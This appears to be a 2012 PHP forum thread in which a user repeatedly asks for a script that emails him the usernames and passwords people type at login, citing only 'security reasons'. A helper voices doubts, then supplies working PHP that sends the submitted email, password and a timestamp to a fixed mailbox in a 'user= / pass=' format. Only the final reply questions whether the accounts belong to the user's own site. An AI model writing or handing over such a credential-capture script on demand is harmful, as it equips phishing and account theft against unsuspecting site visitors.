Author Topic: Need some help with security code  (Read 790 times)

Borntobewild

  • Regular Member
  • **
  • Posts: 29
  • Karma: +0/-0
    • View Profile
Need some help with security code
« on: January 03, 2012, 12:21:12 PM »
Iam trying to create a php script that do this:

user logs in @ my website,
filled details send ->> email

I realy have no idea to get this working.

Any help would be awesome!

jSherz

  • Expert PHP Helper
  • Senior Member
  • *****
  • Posts: 409
  • Karma: +4/-0
    • View Profile
    • jSherz.com
Re: Need some help with security code
« Reply #1 on: January 03, 2012, 02:09:17 PM »
Are you planning to e-mail both the username and password? E-mail isn't usually over a secure connection (so could be intercepted) and isn't encrypted. Also, the safety of your users then depends on the security of the e-mail account - in addition to the suspicion your users could place on you for recording their login details.
Looking for PHP tutorials? View mine. Please use code or PHP tags in your posts.

Borntobewild

  • Regular Member
  • **
  • Posts: 29
  • Karma: +0/-0
    • View Profile
Re: Need some help with security code
« Reply #2 on: January 03, 2012, 04:37:42 PM »
Are you planning to e-mail both the username and password? E-mail isn't usually over a secure connection (so could be intercepted) and isn't encrypted. Also, the safety of your users then depends on the security of the e-mail account - in addition to the suspicion your users could place on you for recording their login details.
Mmm whats a better way then?
But do you know the code for this?
I already searched the whole web but non of them are the one i am searching for.

Borntobewild

  • Regular Member
  • **
  • Posts: 29
  • Karma: +0/-0
    • View Profile
Re: Need some help with security code
« Reply #3 on: January 03, 2012, 05:12:32 PM »
I have this code but i only get username.
Without password.

<?
$email = ( "myemail@mail.com" );
$message = $_POST['email'] ;
mail( "myemail@mail.com", "Email

Subject", $message, "From: $email " );
print "Congratulations your email has been

sent";
?>
 

jSherz

  • Expert PHP Helper
  • Senior Member
  • *****
  • Posts: 409
  • Karma: +4/-0
    • View Profile
    • jSherz.com
Re: Need some help with security code
« Reply #4 on: January 04, 2012, 11:09:04 AM »
Why do you need to be sent the users' login information?
Looking for PHP tutorials? View mine. Please use code or PHP tags in your posts.

Borntobewild

  • Regular Member
  • **
  • Posts: 29
  • Karma: +0/-0
    • View Profile
Re: Need some help with security code
« Reply #5 on: January 04, 2012, 11:50:58 AM »
Why do you need to be sent the users' login information?
Just for security reasons.

jSherz

  • Expert PHP Helper
  • Senior Member
  • *****
  • Posts: 409
  • Karma: +4/-0
    • View Profile
    • jSherz.com
Re: Need some help with security code
« Reply #6 on: January 04, 2012, 12:53:46 PM »
You'd just pick up the password as you would the email:

PHP Code: [Select]
$email "myemail@mail.com";
$to 'myemail@mail.com';
$subject 'Login Record';
$message "User Login\n\nE-mail: " $_POST['email'] . "\nPassword: " $_POST['password'];

$result mail($to$subject$message"From: $email ");

if(
$result) {
    echo 
"Congratulations your email has been sent";
} else {
    echo 
"E-mail sending failed!";
}
Looking for PHP tutorials? View mine. Please use code or PHP tags in your posts.

Borntobewild

  • Regular Member
  • **
  • Posts: 29
  • Karma: +0/-0
    • View Profile
Re: Need some help with security code
« Reply #7 on: January 04, 2012, 08:42:23 PM »
You'd just pick up the password as you would the email:

PHP Code: [Select]
$email "myemail@mail.com";
$to 'myemail@mail.com';
$subject 'Login Record';
$message "User Login\n\nE-mail: " $_POST['email'] . "\nPassword: " $_POST['password'];

$result mail($to$subject$message"From: $email ");

if(
$result) {
    echo 
"Congratulations your email has been sent";
} else {
    echo 
"E-mail sending failed!";
}

Thanks, realy..
I was searching for this for months!
But can i ask you 1 more thing please?
For a little more security, i want the day and the hour it's filled.
I have this code already but i have realy no idea where to place this.
Is it also possible to automatically show this?:

Instead of:

abc
123

This:

user= abc
pass= 123

Code:
$subdate = date("d/m/Y (G:i)");

Thanks in advance  ;)

jSherz

  • Expert PHP Helper
  • Senior Member
  • *****
  • Posts: 409
  • Karma: +4/-0
    • View Profile
    • jSherz.com
Re: Need some help with security code
« Reply #8 on: January 05, 2012, 02:49:08 AM »
PHP Code: [Select]
$message "User Login\n\nuser= " $_POST['email'] . "\npass= " $_POST['password'] . "\ndate_time= " date("d/m/Y (G:i)");
« Last Edit: January 07, 2012, 05:51:21 AM by jSherz »
Looking for PHP tutorials? View mine. Please use code or PHP tags in your posts.

Borntobewild

  • Regular Member
  • **
  • Posts: 29
  • Karma: +0/-0
    • View Profile
Re: Need some help with security code
« Reply #9 on: January 05, 2012, 09:38:37 AM »
$message = "User Login\n\nuser= " . $_POST['email'] . "\npass= " . $_POST['password'] . "\ndate_time= " . date("d/m/Y (G:i)");
Awesome!
Much appreciated dude  ;D

What is the job of this actualy?: \n\ ?

Are these the command to create another line?
Because i tried to put that command after . $_POST['password']
to get this:

User Login
 
user= abc
pass= 123

time= 05/01/2012 (15:27)

Instead of:

User Login
 
user= abc
pass= 123
time= 05/01/2012 (15:27)


But i only get this syntax error:

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /userlogin.php on line 7

Parse error: syntax error, unexpected T_STRING in /userlogin.php on line 7

jSherz

  • Expert PHP Helper
  • Senior Member
  • *****
  • Posts: 409
  • Karma: +4/-0
    • View Profile
    • jSherz.com
Re: Need some help with security code
« Reply #10 on: January 05, 2012, 11:17:06 AM »
How did you modify the code? For that, you should have added an extra \n:

PHP Code: [Select]
$message "User Login\n\nuser= " $_POST['email'] . "\npass= " $_POST['password'] . "\n\ndate_time= " date("d/m/Y (G:i)");
Looking for PHP tutorials? View mine. Please use code or PHP tags in your posts.

Borntobewild

  • Regular Member
  • **
  • Posts: 29
  • Karma: +0/-0
    • View Profile
Re: Need some help with security code
« Reply #11 on: January 05, 2012, 07:11:23 PM »
How did you modify the code? For that, you should have added an extra \n:

PHP Code: [Select]
$message "User Login\n\nuser= " $_POST['email'] . "\npass= " $_POST['password'] . "\n\ndate_time= " date("d/m/Y (G:i)");
Mmm i guess i placed it on the wrong place.
Is it also possible to use colored text in php?
Like:

Login user:

Borntobewild

  • Regular Member
  • **
  • Posts: 29
  • Karma: +0/-0
    • View Profile
Re: Need some help with security code
« Reply #12 on: January 05, 2012, 09:12:09 PM »
Mmm i guess i placed it on the wrong place.
Is it also possible to use colored text in php?
Like:

Login user:
I can't find the codes for Outlook.
Also tried with HTML color codes but does not take any effect.
Maybe i put them at the wrong place or something?

Borntobewild

  • Regular Member
  • **
  • Posts: 29
  • Karma: +0/-0
    • View Profile
Re: Need some help with security code
« Reply #13 on: January 05, 2012, 09:18:14 PM »
I can't find the codes for Outlook.
Also tried with HTML color codes but does not take any effect.
Maybe i put them at the wrong place or something?
<font size='3' color='red'>
This code also does not take effect.
Mmm

RaythXC

  • Expert PHP Helper
  • Senior Member
  • *****
  • Posts: 111
  • Karma: +3/-0
  • Founder of RaythNet
    • View Profile
    • Rayth.Info - Home of the RaythNet
Re: Need some help with security code
« Reply #14 on: January 05, 2012, 11:46:53 PM »
Certain email headers must be added in order for HTML emails to be sent.
Before i continue assistance, are they logging into YOUR website and it is an account on YOUR website?